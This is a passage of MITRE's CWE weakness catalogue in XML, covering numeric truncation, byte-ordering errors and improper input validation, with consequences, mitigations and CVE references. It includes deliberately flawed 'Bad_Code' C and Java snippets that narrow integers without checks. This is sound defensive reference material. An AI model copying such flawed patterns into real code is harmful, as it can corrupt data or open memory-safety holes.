					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The true value of the data is lost and corrupted data is used.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that no casts, implicit or explicit, take place that move from
							a larger size primitive or a smaller size primitive.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This example, while not exploitable, shows the possible mangling of
						values associated with truncation errors:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int intPrimitive;</Code>
							              <Code>short shortPrimitive;</Code>
							              <Code>intPrimitive = (int)(~((int)0) ^ (1 &lt;&lt;
								(sizeof(int)*8-1)));</Code>
							              <Code>shortPrimitive = intPrimitive;</Code>
							              <Code>printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive,
								shortPrimitive);</Code>
						            </Block>
						            <Text>The above code, when compiled and run on certain systems, returns the
							following output:</Text>
						            <Block Block_Nature="Result">
							              <Code>Int MAXINT: 2147483647</Code>
							              <Code>Short MAXINT: -1</Code>
						            </Block>
						            <Text> This problem may be exploitable when the truncated value is used as
							an array index, which can happen implicitly when 64-bit values are used
							as indexes, as they are truncated to 32 bits.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text> In the following Java example, the method updateSalesForProduct is
						part of a business application class that updates the sales information for
						a particular product. The method receives as arguments the product ID and
						the integer amount sold. The product ID is used to retrieve the total
						product count from an inventory object which returns the count as an
						integer. Before calling the method of the sales object to update the sales
						count the integer values are converted to The primitive type short since the
						method requires short type for the method arguments. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Comment>// update sales database for number of product sold with
								product ID</Comment>
							              <Code>public void updateSalesForProduct(String productID, int
								amountSold) {</Code>
							              <Block>
								                <Comment>// get the total number of products in inventory
									database</Comment>
								                <Code>int productCount =
									inventory.getProductCount(productID);</Code>
								                <Comment>// convert integer values to short, the method for
									the</Comment>
								                <Comment>// sales object requires the parameters to be of type
									short</Comment>
								                <Code>short count = (short) productCount;</Code>
								                <Code>short sold = (short) amountSold;</Code>
								                <Comment>// update sales database for product</Comment>
								                <Code>sales.updateSalesCount(productID, count, sold);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
						            <Text> However, a numeric truncation error can occur if the integer values
							are higher than the maximum value allowed for the primitive type short.
							This can cause unexpected results or loss or corruption of data. In this
							case the sales database may be corrupted with incorrect data. Explicit
							casting from a from a larger size primitive type to a smaller size
							primitive type should be prevented. The following example an if
							statement is added to validate that the integer values less than the
							maximum value for the primitive type short before the explicit cast and
							the call to the sales method. </Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Comment>// update sales database for number of product sold with
								product ID</Comment>
							              <Code>public void updateSalesForProduct(String productID, int
								amountSold) {</Code>
							              <Block>
								                <Comment>// get the total number of products in inventory
									database</Comment>
								                <Code>int productCount =
									inventory.getProductCount(productID);</Code>
								                <Comment>// make sure that integer numbers are not greater
									than</Comment>
								                <Comment>// maximum value for type short before converting</Comment>
								                <Code>if ((productCount &lt; Short.MAX_VALUE) &amp;&amp; (amountSold
									&lt; Short.MAX_VALUE)) {</Code>
								                <Block>
									                  <Comment>// convert integer values to short, the method for
										the</Comment>
									                  <Comment>// sales object requires the parameters to be of type
										short</Comment>
									                  <Code>short count = (short) productCount;</Code>
									                  <Code>short sold = (short) amountSold;</Code>
									                  <Comment>// update sales database for product</Comment>
									                  <Code>sales.updateSalesCount(productID, count, sold);</Code>
								                </Block>
								                <Code>else {</Code>
								                <Comment>// throw exception or perform other processing</Comment>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0231</Observed_Example_Reference>
					          <Observed_Example_Description>Integer truncation of length value leads to
						heap-based buffer overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3282</Observed_Example_Reference>
					          <Observed_Example_Description>Size of a particular type changes for 64-bit
						platforms, leading to an integer truncation in document processor causes
						incorrect index to be generated.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This weakness has traditionally been under-studied and under-reported,
						although vulnerabilities in popular software have been published in 2008 and
						2009.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Truncation", Page 259.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Numeric truncation error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Truncation error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Understand integer conversion rules</Mapped_Node_Name>
					          <Mapped_Node_ID>INT02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not use input functions to convert character data if they
						cannot handle all possible inputs</Mapped_Node_Name>
					          <Mapped_Node_ID>INT05-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that integer conversions do not result in lost or
						misinterpreted data</Mapped_Node_Name>
					          <Mapped_Node_ID>INT31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure conversions of numeric types to narrower types do not
						result in lost or misinterpreted data</Mapped_Node_Name>
					          <Mapped_Node_ID>NUM12-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Understand integer conversion rules</Mapped_Node_Name>
					          <Mapped_Node_ID>INT02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not use input functions to convert character data if they
						cannot handle all possible inputs</Mapped_Node_Name>
					          <Mapped_Node_ID>INT05-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that integer conversions do not result in lost or
						misinterpreted data</Mapped_Node_Name>
					          <Mapped_Node_ID>INT31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Observed_Examples, Other_Notes,
						Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="198" Name="Use of Incorrect Byte Ordering" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not account for byte ordering (e.g. big-endian and little-endian) when
					processing the input, causing an incorrect number or value to be
					used.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>188</Relationship_Target_ID>
					          <!--Reliance on Data/Memory Layout-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>189</Relationship_Target_ID>
					          <!--Numeric Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Because byte ordering bugs are usually very noticeable even with
							normal inputs, this bug is more likely to occur in rarely triggered
							error conditions, making them difficult to detect using black box
							methods.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-reported.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Numeric Byte Ordering Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Provide methods to read and write little-endian
						data</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO12-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Relationships, Research_Gaps,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Numeric Byte Ordering
						Error</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="20" Name="Improper Input Validation" Weakness_Abstraction="Class" Status="Usable">
			      <Description>
				        <Description_Summary>The product does not validate or incorrectly validates input
					that can affect the control flow or data flow of a
					program.</Description_Summary>
				        <Extended_Description>
					          <Text>When software does not validate input properly, an attacker is able to
						craft the input in a form that is not expected by the rest of the
						application. This will lead to parts of the system receiving unintended
						input, which may result in altered control flow, arbitrary control of a
						resource, or arbitrary code execution.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>751</Relationship_Target_ID>
					          <!--2009 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>22</Relationship_Target_ID>
					          <!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>746</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 12 - Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>CWE-116 and CWE-20 have a close association because, depending on the
						nature of the structured message, proper input validation can indirectly
						prevent special characters from changing the meaning of a structured
						message. For example, by validating that a numeric ID field should only
						contain the 0-9 characters, the programmer effectively prevents injection
						attacks.</Text>
					          <Text>However, input validation is not always sufficient, especially when less
						stringent data types must be supported, such as free-form text. Consider a
						SQL injection scenario in which a last name is inserted into a query. The
						name "O'Reilly" would likely pass the validation step since it is a common
						last name in the English language. However, it cannot be directly inserted
						into the database because it contains the "'" apostrophe character, which
						would need to be escaped or otherwise neutralized. In this case, stripping
						the apostrophe might reduce the risk of SQL injection, but it would produce
						incorrect behavior because the wrong name would be recorded.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Platform_Notes>
					          <Text>Input validation can be a problem in any system that receives data from an
						external source.</Text>
				        </Platform_Notes>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>Input validation - whether missing or incorrect - is such an essential and
						widespread part of secure development that it is implicit in many different
						weaknesses. Traditionally, problems such as buffer overflows and XSS have
						been classified as input validation problems by many security professionals.
						However, input validation is not necessarily the only protection mechanism
						available for avoiding such problems, and in some cases it is not even
						sufficient. The CWE team has begun capturing these subtleties in chains
						within the Research Concepts view (CWE-1000), but more work is
						needed.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>The "input validation" term is extremely common, but it is used in many
						different ways. In some cases its usage can obscure the real underlying
						weakness or otherwise hide chaining and composite relationships.</Text>
					          <Text>Some people use "input validation" as a general term that covers many
						different neutralization techniques for ensuring that input is appropriate,
						such as filtering, canonicalization, and escaping. Others use the term in a
						more narrow context to simply mean "checking if an input conforms to
						expectations without changing it."</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>If a programmer believes that an attacker cannot modify certain inputs,
						then the programmer might not perform any input validation at all. For
						example, in web applications, many programmers believe that cookies and
						hidden form fields can not be modified from a web browser (CWE-472),
						although they can be altered using a proxy or a custom program. In a
						client-server architecture, the programmer might assume that client-side
						security checks cannot be bypassed, even when a custom client could be
						written that skips those checks (CWE-602).</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could provide unexpected values and cause a program crash
							or excessive consumption of resources, such as memory and CPU.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could read confidential data if they are able to control
							resource references.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could use malicious input to modify data or possibly alter
							control flow in unexpected ways, including arbitrary command
							execution.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-3">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Some instances of improper input validation can be detected using
							automated static analysis.</Text>
						            <Text>A static analysis tool might allow the user to specify which
							application-specific methods or functions perform input validation; the
							tool might also have built-in knowledge of validation frameworks such as
							Struts. The tool may then suppress or de-prioritize any associated
							warnings. This allows the analyst to focus on areas of the software in
							which input validation does not appear to be present.</Text>
						            <Text>Except in the cases described in the previous paragraph, automated
							static analysis might not be able to recognize when proper input
							validation is being performed, leading to false positives - i.e.,
							warnings that do not have any security consequences or require any code
							changes.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-4">
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>When custom input validation is required, such as when enforcing
							business rules, manual analysis is necessary to ensure that the
							validation is properly implemented. </Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-5">
					          <Method_Name>Fuzzing</Method_Name>
					          <Method_Description>
						            <Text>Fuzzing techniques can be useful for detecting input validation
							errors. When unexpected inputs are provided to the software, the
							software should not crash or otherwise become unstable, and it should
							generate application-controlled error messages. If exceptions or
							interpreter-generated error messages occur, this indicates that the
							input was not detected and handled within the application logic
							itself.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-7">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use an input validation framework such as Struts or the OWASP ESAPI
							Validation API. If you use Struts, be mindful of weaknesses covered by
							the CWE-101 category.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-6">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Understand all the potential areas where untrusted inputs can enter
							your software: parameters or arguments, cookies, anything read from the
							network, environment variables, reverse DNS lookups, query results,
							request headers, URL components, e-mail, files, filenames, databases,
							and any external systems that provide data to the application. Remember
							that such inputs may be obtained indirectly through API calls.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
